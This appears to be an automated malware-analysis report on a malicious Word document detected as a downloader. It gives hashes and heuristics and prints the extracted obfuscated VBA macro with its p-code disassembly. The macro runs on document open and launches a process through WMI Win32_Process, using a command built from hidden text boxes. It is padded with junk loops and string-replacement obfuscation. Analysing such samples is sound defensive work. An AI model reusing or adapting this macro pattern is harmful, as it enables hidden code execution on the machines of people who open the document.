Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 831385b22855d1d3…

MALICIOUS

Office (OLE)

268.9 KB Created: 2019-09-19 06:46:00 Authoring application: Microsoft Office Word First seen: 2020-05-14
MD5: 28709f340938a501e46419eee519aa06 SHA-1: b320bcc2604b158ea7e1e5c3c39ae6f0c0e4535b SHA-256: 831385b22855d1d331f37bb9d7edbfcd008cebdd1fb51b63b993103950141ff9
190 Risk Score

Heuristics 7

  • ClamAV: Doc.Downloader.Generic-7170962-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-7170962-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set OAUP38p_ = CreateObject(Gt7EinU("wQA#inmQA#gmQA#tsQA#:QA#WQA#inQA#3QA#2QA#_QA#PrQA#oQA#QA#ceQA#sQA#s"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 18199 bytes
SHA-256: ce991a357a5eec87a17ebfafae02b63f1d0d025d89d579ba98fe7a2b45f309d8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "CQw5Pf, 0, 0, MSForms, TextBox"
Attribute VB_Control = "AhLFtQCr, 1, 1, MSForms, TextBox"
Attribute VB_Control = "TAYWhab, 2, 2, MSForms, TextBox"
Attribute VB_Control = "cj3jXjj1, 3, 3, MSForms, TextBox"
Attribute VB_Control = "Tsb_QhkX, 4, 4, MSForms, TextBox"
Attribute VB_Control = "hqRhDN, 5, 5, MSForms, TextBox"
Attribute VB_Control = "acAw0kJl, 6, 6, MSForms, TextBox"
Attribute VB_Control = "CUC3IQD, 7, 7, MSForms, TextBox"
Attribute VB_Control = "zwVFM2, 8, 8, MSForms, TextBox"
Attribute VB_Control = "jXqFH8Z, 9, 9, MSForms, TextBox"
Attribute VB_Control = "zsG6lI4B, 10, 10, MSForms, TextBox"
Attribute VB_Control = "KJDZ_t9T, 11, 11, MSForms, TextBox"
Attribute VB_Control = "lziMFY, 12, 12, MSForms, TextBox"
Attribute VB_Control = "Qq8SGMo, 13, 13, MSForms, TextBox"
Attribute VB_Control = "kzBY2I6, 14, 14, MSForms, TextBox"
Attribute VB_Control = "wTL_Dqf, 15, 15, MSForms, TextBox"
Attribute VB_Control = "RWKIjJ, 16, 16, MSForms, TextBox"
Attribute VB_Control = "qRSdUm, 17, 17, MSForms, TextBox"
Attribute VB_Control = "wPdYaKdw, 18, 18, MSForms, TextBox"
Attribute VB_Control = "R9tEXrc, 19, 19, MSForms, TextBox"

Attribute VB_Name = "nsOwn47"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "sHAjpoI"

Attribute VB_Name = "tE8rq7"

Attribute VB_Name = "KFOvzB"

Attribute VB_Name = "H6_9fv"

Attribute VB_Name = "aVSnoidL"

Attribute VB_Name = "QfEfLNMw"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "B3NDHjjh"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "i2BPMZ"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "w83d5Hpp"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "NQq8DfEN"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "LEfULS"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "bS7IWEi6"
Function D0jkct()
      On Error Resume Next
   For Each vX6ODV In VjpQOwQE
      For Each PQwKz8F8 In OjY6O1C
         YWQKmW = sFv8wL - DWvl9IH - (X6KvCYv - Int(niCGLwZ5))
         Next
      Do
         tiiVZkKd = QVOijKc - rr_vAa - (wL9LD6 - CDbl(F9jvK47d))
   Loop Until VPikAVM Eqv I4zi66Q
   Next
         TaoC9wN3 = ipXV13h + Gt7EinU(ThisDocument.kzBY2I6 + ThisDocument.CUC3IQD) + jbHqsYZS
      On Error Resume Next
   For Each p62uFu In LQIWrTA
      For Each LXLP0E In jjuLc4f
         WFcDED = NLQ_Ap - WkvjE12I - (LfawXo5 - Int(vf0JT9Hs))
         Next
      Do
         fm3ziBT = zlPT6l2t - pmFXw_M - (Wj8H9rh - CDbl(j8vD59o))
   Loop Until KDjdPZNF Eqv LFzRj5T
   Next
               On Error Resume Next
   For Each oXEPKHi In cJr7as
      For Each G7ahsnKp In AHQjFO0
         nuCf8w = Q6j2dBV8 - uFu6kz - (X2CEc8o - Int(NEbdvq))
         Next
      Do
         nwhiG6kj = kj3JPv - JwPcmN - (E3IqIZ7D - CDbl(L0W7ciW3))
   Loop Until UG1qDbiA Eqv JUfVzs
   Next
         
Set OAUP38p_ = CreateObject(Gt7EinU("wQA#inmQA#gmQA#tsQA#:QA#WQA#inQA#3QA#2QA#_QA#PrQA#oQA#QA#ceQA#sQA#s"))
With OAUP38p_
.Create TaoC9wN3, WCwwqSM, SM4LY01, LisiQL
End With
      On Error Resume Next
   For Each NXsUwdo9 In fjI1nA
      For Each XU_OrR In S2MCQE
         iRfR0H = bFDXElZ - jNkzBq - (ZGwv64hQ - Int(SfiOV2))
         Next
      Do
         fNNPvb71 = jXolEiiA - fNhGGaDw - (tudUFOj - CDbl(S1EPrll))
   Loop Until W7vVJaGY Eqv IUYJHO
   Next
         End Function
Function Gt7EinU(vGTOc6v)
      On Error Resume Next
   For Each WW4GzSn In TYk9H3z
      For Each m4K4vq In lwaj43
         PSwHaSR = X00dtu - CEbailMa - (qwFfj8h - Int(Aincm22))
         Next
      Do
         kwAEkw1w = mrlr3s - w9cB75K - (Vn1jrS - CDbl(mkuLRptu))
   Loop Until tZ3wuI Eqv ROq4G5uk
   Next
         Gt7EinU = Replace(vGTOc6v, Replace("!!Q!!!!!!A!!!!!!!!!!#", "!", ""), "")
      On Error Resume Next
   For Each JRcz7Pp4 In CL5Tw1Hd
      For Each OSf6wo In MIifQr
         Bf9Y8hDU = aLizMv - U4ziCR - (hwdi7NY - Int(jfnVvPK5))
         Next
      Do
         Lsc7tv = B8icrh - O2dYSza0 - (Gqoomo - CDbl(hwM1uw))
   Loop Until THUKzF34 Eqv WE1bSi
   Next
         End Function

Attribute VB_Name = "zziTSN"
Sub autoopen()
      On Error Resume Next
   For Each d9OjWR In jfqz5w
      For Each c9MNWd In Vm5UvH
         IEQpVl = Vik_Mt - GEuzousF - (HvXZjf - Int(izjj99O))
         Next
      Do
         q5u5rRFM = wpbXKaM - o_0EP1Dj - (Fzim75M - CDbl(XdSN4H))
   Loop Until LcVFwjPQ Eqv qiEnwzkl
   Next
         D0jkct
      On Error Resume Next
   For Each Vm6zK1_ In WKdHFkWh
      For Each iETfAOB In iBLN9Uj
         AX6w57 = YqnQstnj - FG5iI2 - (oQ8fwhz - Int(Sp1LYFL))
         Next
      Do
         SZ4Tip3 = iVdPDbV - u04Fcl - (vRJsBt - CDbl(Z6qisSow))
   Loop Until nCGlY2 Eqv PziR9RGR
   Next
         End Sub
Function SM4LY01()
      On Error Resume Next
   For Each cMpLWj In BCRHrw
      For Each aSBG4ntj In P9cSHWYD
         kdpT7Tcp = d2tJmI - U7iGSYQ - (l76uo3wF - Int(lKkKDYl))
         Next
      Do
         MSr0r8p = fKRCodt - c7_7Ej - (Ozwbts_w - CDbl(B9Oz02W))
   Loop Until SqhGcUIC Eqv QOIcvq2
   Next
         Set SM4LY01 = CreateObject(YrcWAr + Gt7EinU(ThisDocument.Tsb_QhkX) + c2DpdL)
      On Error Resume Next
   For Each m52nwQho In K0QFzzh
      For Each XYBB_pa In K0qcSnUi
         zTkoqwi = KpInXW - l430XCh - (rvqnvRr0 - Int(tvVNc0))
         Next
      Do
         RDWTGc = iPkkQCM - pAkcYbpw - (hYpa_JCM - CDbl(coNZKmc))
   Loop Until z1ijQp Eqv c8nshAf
   Next
         SM4LY01. _
ShowWindow! _
 = zjVUc6 + J7fCLCn + v0fzriS + i5ffWh + cOq3ij + IFLh7f
      On Error Resume Next
   For Each hEk6ul In UfEWVMW
      For Each TJXshP In LFHVPw
         j8jOqBY = XAHG60R - aNGnGzv - (a8MKusB - Int(pOiVvt))
         Next
      Do
         Ms7TH1 = NJOA2vi - tsbSQaF - (ZvHKcYiB - CDbl(zLZG1h))
   Loop Until psZCvr1 Eqv hz0S2H
   Next
               On Error Resume Next
   For Each unEvIi In druQd1Y
      For Each AVOukqk In w4MZUi
         sk9ntcr_ = FP7loTw - UUU9i7 - (jYKWMzh - Int(nvS4iuRB))
         Next
      Do
         LVO4l7V = bndsv6B - O6bZn1 - (FU2lD7 - CDbl(mNcfkb2))
   Loop Until XLRDi0hI Eqv dJzsZUhw
   Next
         End Function



' Processing file: /opt/analyzer/scan_staging/37fb614fe84b4908b4d501ddb0f8edaf.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 3540 bytes
' Macros/VBA/nsOwn47 - 986 bytes
' Macros/VBA/sHAjpoI - 675 bytes
' Macros/VBA/tE8rq7 - 674 bytes
' Macros/VBA/KFOvzB - 674 bytes
' Macros/VBA/H6_9fv - 674 bytes
' Macros/VBA/aVSnoidL - 677 bytes
' Macros/VBA/QfEfLNMw - 987 bytes
' Macros/VBA/B3NDHjjh - 987 bytes
' Macros/VBA/i2BPMZ - 985 bytes
' Macros/VBA/w83d5Hpp - 987 bytes
' Macros/VBA/NQq8DfEN - 987 bytes
' Macros/VBA/LEfULS - 985 bytes
' Macros/VBA/bS7IWEi6 - 4189 bytes
' Line #0:
' 	FuncDefn (Function bS7IWEi6())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	StartForVariable 
' 	Ld D0jkct 
' 	EndForVariable 
' 	Ld vX6ODV 
' 	ForEach 
' Line #3:
' 	StartForVariable 
' 	Ld VjpQOwQE 
' 	EndForVariable 
' 	Ld PQwKz8F8 
' 	ForEach 
' Line #4:
' 	Ld YWQKmW 
' 	Ld sFv8wL 
' 	Sub 
' 	Ld DWvl9IH 
' 	Ld X6KvCYv 
' 	FnInt 
' 	Sub 
' 	Paren 
' 	Sub 
' 	St OjY6O1C 
' Line #5:
' 	StartForVariable 
' 	Next 
' Line #6:
' 	Do 
' Line #7:
' 	Ld tiiVZkKd 
' 	Ld QVOijKc 
' 	Sub 
' 	Ld rr_vAa 
' 	Ld wL9LD6 
' 	Coerce (Dbl) 
' 	Sub 
' 	Paren 
' 	Sub 
' 	St niCGLwZ5 
' Line #8:
' 	Ld F9jvK47d 
' 	Ld VPikAVM 
' 	Eqv 
' 	LoopUntil 
' Line #9:
' 	StartForVariable 
' 	Next 
' Line #10:
' 	Ld TaoC9wN3 
' 	Ld ThisDocument 
' 	MemLd Qq8SGMo 
' 	Ld ThisDocument 
' 	MemLd _B_var_u3fdhI 
' 	Add 
' 	ArgsLd ipXV13h 0x0001 
' 	Add 
' 	Ld Gt7EinU 
' 	Add 
' 	St I4zi66Q 
' Line #11:
' 	OnError (Resume Next) 
' Line #12:
' 	StartForVariable 
' 	Ld jbHqsYZS 
' 	EndForVariable 
' 	Ld p62uFu 
' 	ForEach 
' Line #13:
' 	StartForVariable 
' 	Ld LQIWrTA 
' 	EndForVariable 
' 	Ld LXLP0E 
' 	ForEach 
' Line #14:
' 	Ld WFcDED 
' 	Ld NLQ_Ap 
' 	Sub 
' 	Ld WkvjE12I 
' 	Ld LfawXo5 
' 	FnInt 
' 	Sub 
' 	Paren 
' 	Sub 
' 	St jjuLc4f 
' Line #15:
' 	StartForVariable 
' 	Next 
' Line #16:
' 	Do 
' Line #17:
' 	Ld fm3ziBT 
' 	Ld zlPT6l2t 
' 	Sub 
' 	Ld pmFXw_M 
' 	Ld Wj8H9rh 
' 	Coerce (Dbl) 
' 	Sub 
' 	Paren 
' 	Sub 
' 	St vf0JT9Hs 
' Line #18:
' 	Ld j8vD59o 
' 	Ld KDjdPZNF 
' 	Eqv 
' 	LoopUntil 
' Line #19:
' 	StartForVariable 
' 	Next 
' Line #20:
' 	OnError (Resume Next) 
' Line #21:
' 	StartForVariable 
' 	Ld LFzRj5T 
' 	EndForVariable 
' 	Ld oXEPKHi 
' 	ForEach 
' Line #22:
' 	StartForVariable 
' 	Ld cJr7as 
' 	EndForVariable 
' 	Ld G7ahsnKp 
' 	ForEach 
' Line #23:
' 	Ld nuCf8w 
' 	Ld Q6j2dBV8 
' 	Sub 
' 	Ld uFu6kz 
' 	Ld X2CEc8o 
' 	FnInt 
' 	Sub 
' 	Paren 
' 	Sub 
' 	St AHQjFO0 
' Line #24:
' 	StartForVariable 
' 	Next 
' Line #25:
' 	Do 
' Line #26:
' 	Ld nwhiG6kj 
' 	Ld kj3JPv 
' 	Sub 
' 	Ld JwPcmN 
' 	Ld E3IqIZ7D 
' 	Coerce (Dbl) 
' 	Sub 
' 	Paren 
' 	Sub 
' 	St NEbdvq 
' Line #27:
' 	Ld L0W7ciW3 
' 	Ld UG1qDbiA 
' 	Eqv 
' 	LoopUntil 
' Line #28:
' 	StartForVariable 
' 	Next 
' Line #29:
' Line #30:
' 	SetStmt 
' 	LitStr 0x0043 "wQA#inmQA#gmQA#tsQA#:QA#WQA#inQA#3QA#2QA#_QA#PrQA#oQA#QA#ceQA#sQA#s"
' 	ArgsLd ipXV13h 0x0001 
' 	ArgsLd OAUP38p_ 0x0001 
' 	Set JUfVzs 
' Line #31:
' 	StartWithExpr 
' 	Ld JUfVzs 
' 	With 
' Line #32:
' 	Ld I4zi66Q 
' 	Ld Create 
' 	Ld WCwwqSM 
' 	Ld SM4LY01 
' 	ArgsMemCallWith CreateObject 0x0004 
' Line #33:
' 	EndWith 
' Line #34:
' 	OnError (Resume Next) 
' Line #35:
' 	StartForVariable 
' 	Ld LisiQL 
' 	EndForVariable 
' 	Ld NXsUwdo9 
' 	ForEach 
' Line #36:
' 	StartForVariable 
' 	Ld fjI1nA 
' 	EndForVariable 
' 	Ld XU_OrR 
' 	ForEach 
' Line #37:
' 	Ld iRfR0H 
' 	Ld bFDXElZ 
' 	Sub 
' 	Ld jNkzBq 
' 	Ld ZGwv64hQ 
' 	FnInt 
' 	Sub 
' 	Paren 
' 	Sub 
' 	St S2MCQE 
' Line #38:
' 	StartForVariable 
' 	Next 
' Line #39:
' 	Do 
' Line #40:
' 	Ld fNNPvb71 
' 	Ld jXolEiiA 
' 	Sub 
' 	Ld fNhGGaDw 
' 	Ld tudUFOj 
' 	Coerce (Dbl) 
' 	Sub 
' 	Paren 
' 	Sub 
' 	St SfiOV2 
' Line #41:
' 	Ld S1EPrll 
' 	Ld W7vVJaGY 
' 	Eqv 
' 	LoopUntil 
' Line #42:
' 	StartForVariable 
' 	Next 
' Line #43:
' 	EndFunc 
' Line #44:
' 	FuncDefn (Function ipXV13h(IUYJHO))
' Line #45:
' 	OnError (Resume Next) 
' Line #46:
' 	StartForVariable 
' 	Ld vGTOc6v 
' 	EndForVariable 
' 	Ld WW4GzSn 
' 	ForEach 
' Line #47:
' 	StartForVariable 
' 	Ld TYk9H3z 
' 	EndForVariable 
' 	Ld m4K4vq 
' 	ForEach 
' Line #48:
' 	Ld PSwHaSR 
' 	Ld X00dtu 
' 	Sub 
' 	Ld CEbailMa 
' 	Ld qwFfj8h 
' 	FnInt 
' 	Sub 
' 	Paren 
' 	Sub 
' 	St lwaj43 
' Line #49:
' 	StartForVariable 
' 	Next 
' Line #50:
' 	Do 
' Line #51:
' 	Ld kwAEkw1w 
' 	Ld mrlr3s 
' 	Sub 
' 	Ld w9cB75K 
' 	Ld Vn1jrS 
' 	Coerce (Dbl) 
' 	Sub 
' 	Paren 
' 	Sub 
' 	St Aincm22 
' Line #52:
' 	Ld mkuLRptu 
' 	Ld tZ3wuI 
' 	Eqv 
' 	LoopUntil 
' Line #53:
' 	StartForVariable 
' 	Next 
' Line #54:
' 	Ld IUYJHO 
' 	LitStr 0x0015 "!!Q!!!!!!A!!!!!!!!!!#"
' 	LitStr 0x0001 "!"
' 	LitStr 0x0000 ""
' 	ArgsLd ROq4G5uk 0x0003 
' 	LitStr 0x0000 ""
' 	ArgsLd ROq4G5uk 0x0003 
' 	St ipXV13h 
' Line #55:
' 	OnError (Resume Next) 
' Line #56:
' 	StartForVariable 
' 	Ld Replace 
' 	EndForVariable 
' 	Ld JRcz7Pp4 
' 	ForEach 
' Line #57:
' 	StartForVariable 
' 	Ld CL5Tw1Hd 
' 	EndForVariable 
' 	Ld OSf6wo 
' 	ForEach 
' Line #58:
' 	Ld Bf9Y8hDU 
' 	Ld aLizMv 
' 	Sub 
' 	Ld U4ziCR 
' 	Ld hwdi7NY 
' 	FnInt 
' 	Sub 
' 	Paren 
' 	Sub 
' 	St MIifQr 
' Line #59:
' 	StartForVariable 
' 	Next 
' Line #60:
' 	Do 
' Line #61:
' 	Ld Lsc7tv 
' 	Ld B8icrh 
' 	Sub 
' 	Ld O2dYSza0 
' 	Ld Gqoomo 
' 	Coerce (Dbl) 
' 	Sub 
' 	Paren 
' 	Sub 
' 	St jfnVvPK5 
' Line #62:
' 	Ld hwM1uw 
' 	Ld THUKzF34 
' 	Eqv 
' 	LoopUntil 
' Line #63:
' 	StartForVariable 
' 	Next 
' Line #64:
' 	EndFunc 
' Macros/VBA/zziTSN - 3841 bytes
' Line #0:
' 	FuncDefn (Sub zziTSN())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	StartForVariable 
' 	Ld autoopen 
' 	EndForVariable 
' 	Ld d9OjWR 
' 	ForEach 
' Line #3:
' 	StartForVariable 
' 	Ld jfqz5w 
' 	EndForVariable 
' 	Ld c9MNWd 
' 	ForEach 
' Line #4:
' 	Ld IEQpVl 
' 	Ld Vik_Mt 
' 	Sub 
' 	Ld GEuzousF 
' 	Ld HvXZjf 
' 	FnInt 
' 	Sub 
' 	Paren 
' 	Sub 
' 	St Vm5UvH 
' Line #5:
' 	StartForVariable 
' 	Next 
' Line #6:
' 	Do 
' Line #7:
' 	Ld q5u5rRFM 
' 	Ld wpbXKaM 
' 	Sub 
' 	Ld o_0EP1Dj 
' 	Ld Fzim75M 
' 	Coerce (Dbl) 
' 	Sub 
' 	Paren 
' 	Sub 
' 	St izjj99O 
' Line #8:
' 	Ld XdSN4H 
' 	Ld LcVFwjPQ 
' 	Eqv 
' 	LoopUntil 
' Line #9:
' 	StartForVariable 
' 	Next 
' Line #10:
' 	ArgsCall bS7IWEi6 0x0000 
' Line #11:
' 	OnError (Resume Next) 
' Line #12:
' 	StartForVariable 
' 	Ld qiEnwzkl 
' 	EndForVariable 
' 	Ld Vm6zK1_ 
' 	ForEach 
' Line #13:
' 	StartForVariable 
' 	Ld WKdHFkWh 
' 	EndForVariable 
' 	Ld iETfAOB 
' 	ForEach 
' Line #14:
' 	Ld AX6w57 
' 	Ld YqnQstnj 
' 	Sub 
' 	Ld FG5iI2 
' 	Ld oQ8fwhz 
' 	FnInt 
' 	Sub 
' 	Paren 
' 	Sub 
' 	St iBLN9Uj 
' Line #15:
' 	StartForVariable 
' 	Next 
' Line #16:
' 	Do 
' Line #17:
' 	Ld SZ4Tip3 
' 	Ld iVdPDbV 
' 	Sub 
' 	Ld u04Fcl 
' 	Ld vRJsBt 
' 	Coerce (Dbl) 
' 	Sub 
' 	Paren 
' 	Sub 
' 	St Sp1LYFL 
' Line #18:
' 	Ld Z6qisSow 
' 	Ld nCGlY2 
' 	Eqv 
' 	LoopUntil 
' Line #19:
' 	StartForVariable 
' 	Next 
' Line #20:
' 	EndSub 
' Line #21:
' 	FuncDefn (Function WCwwqSM())
' Line #22:
' 	OnError (Resume Next) 
' Line #23:
' 	StartForVariable 
' 	Ld PziR9RGR 
' 	EndForVariable 
' 	Ld cMpLWj 
' 	ForEach 
' Line #24:
' 	StartForVariable 
' 	Ld BCRHrw 
' 	EndForVariable 
' 	Ld aSBG4ntj 
' 	ForEach 
' Line #25:
' 	Ld kdpT7Tcp 
' 	Ld d2tJmI 
' 	Sub 
' 	Ld U7iGSYQ 
' 	Ld l76uo3wF 
' 	FnInt 
' 	Sub 
' 	Paren 
' 	Sub 
' 	St P9cSHWYD 
' Line #26:
' 	StartForVariable 
' 	Next 
' Line #27:
' 	Do 
' Line #28:
' 	Ld MSr0r8p 
' 	Ld fKRCodt 
' 	Sub 
' 	Ld c7_7Ej 
' 	Ld Ozwbts_w 
' 	Coerce (Dbl) 
' 	Sub 
' 	Paren 
' 	Sub 
' 	St lKkKDYl 
' Line #29:
' 	Ld B9Oz02W 
' 	Ld SqhGcUIC 
' 	Eqv 
' 	LoopUntil 
' Line #30:
' 	StartForVariable 
' 	Next 
' Line #31:
' 	SetStmt 
' 	Ld QOIcvq2 
' 	Ld ThisDocument 
' 	MemLd cj3jXjj1 
' 	ArgsLd ipXV13h 0x0001 
' 	Add 
' 	Ld YrcWAr 
' 	Add 
' 	ArgsLd OAUP38p_ 0x0001 
' 	Set WCwwqSM 
' Line #32:
' 	OnError (Resume Next) 
' Line #33:
' 	StartForVariable 
' 	Ld c2DpdL 
' 	EndForVariable 
' 	Ld m52nwQho 
' 	ForEach 
' Line #34:
' 	StartForVariable 
' 	Ld K0QFzzh 
' 	EndForVariable 
' 	Ld XYBB_pa 
' 	ForEach 
' Line #35:
' 	Ld zTkoqwi 
' 	Ld KpInXW 
' 	Sub 
' 	Ld l430XCh 
' 	Ld rvqnvRr0 
' 	FnInt 
' 	Sub 
' 	Paren 
' 	Sub 
' 	St K0qcSnUi 
' Line #36:
' 	StartForVariable 
' 	Next 
' Line #37:
' 	Do 
' Line #38:
' 	Ld RDWTGc 
' 	Ld iPkkQCM 
' 	Sub 
' 	Ld pAkcYbpw 
' 	Ld hYpa_JCM 
' 	Coerce (Dbl) 
' 	Sub 
' 	Paren 
' 	Sub 
' 	St tvVNc0 
' Line #39:
' 	Ld coNZKmc 
' 	Ld z1ijQp 
' 	Eqv 
' 	LoopUntil 
' Line #40:
' 	StartForVariable 
' 	Next 
' Line #41:
' 	LineCont 0x0008 02 00 00 00 03 00 01 00
' 	Ld ShowWindow 
' 	Ld zjVUc6 
' 	Add 
' 	Ld J7fCLCn 
' 	Add 
' 	Ld v0fzriS 
' 	Add 
' 	Ld i5ffWh 
' 	Add 
' 	Ld cOq3ij 
' 	Add 
' 	Ld WCwwqSM 
' 	MemSt c8nshAf! 
' Line #42:
' 	OnError (Resume Next) 
' Line #43:
' 	StartForVariable 
' 	Ld IFLh7f 
' 	EndForVariable 
' 	Ld hEk6ul 
' 	ForEach 
' Line #44:
' 	StartForVariable 
' 	Ld UfEWVMW 
' 	EndForVariable 
' 	Ld TJXshP 
' 	ForEach 
' Line #45:
' 	Ld j8jOqBY 
' 	Ld XAHG60R 
' 	Sub 
' 	Ld aNGnGzv 
' 	Ld a8MKusB 
' 	FnInt 
' 	Sub 
' 	Paren 
' 	Sub 
' 	St LFHVPw 
' Line #46:
' 	StartForVariable 
' 	Next 
' Line #47:
' 	Do 
' Line #48:
' 	Ld Ms7TH1 
' 	Ld NJOA2vi 
' 	Sub 
' 	Ld tsbSQaF 
' 	Ld ZvHKcYiB 
' 	Coerce (Dbl) 
' 	Sub 
' 	Paren 
' 	Sub 
' 	St pOiVvt 
' Line #49:
' 	Ld zLZG1h 
' 	Ld psZCvr1 
' 	Eqv 
' 	LoopUntil 
' Line #50:
' 	StartForVariable 
' 	Next 
' Line #51:
' 	OnError (Resume Next) 
' Line #52:
' 	StartForVariable 
' 	Ld hz0S2H 
' 	EndForVariable 
' 	Ld unEvIi 
' 	ForEach 
' Line #53:
' 	StartForVariable 
' 	Ld druQd1Y 
' 	EndForVariable 
' 	Ld AVOukqk 
' 	ForEach 
' Line #54:
' 	Ld sk9ntcr_ 
' 	Ld FP7loTw 
' 	Sub 
' 	Ld UUU9i7 
' 	Ld jYKWMzh 
' 	FnInt 
' 	Sub 
' 	Paren 
' 	Sub 
' 	St w4MZUi 
' Line #55:
' 	StartForVariable 
' 	Next 
' Line #56:
' 	Do 
' Line #57:
' 	Ld LVO4l7V 
' 	Ld bndsv6B 
' 	Sub 
' 	Ld O6bZn1 
' 	Ld FU2lD7 
' 	Coerce (Dbl) 
' 	Sub 
' 	Paren 
' 	Sub 
' 	St nvS4iuRB 
' Line #58:
' 	Ld mNcfkb2 
' 	Ld XLRDi0hI 
' 	Eqv 
' 	LoopUntil 
' Line #59:
' 	StartForVariable 
' 	Next 
' Line #60:
' 	EndFunc 
' Line #61:
' Line #62:

Open this report in the interactive analyzer, or submit your own file for analysis.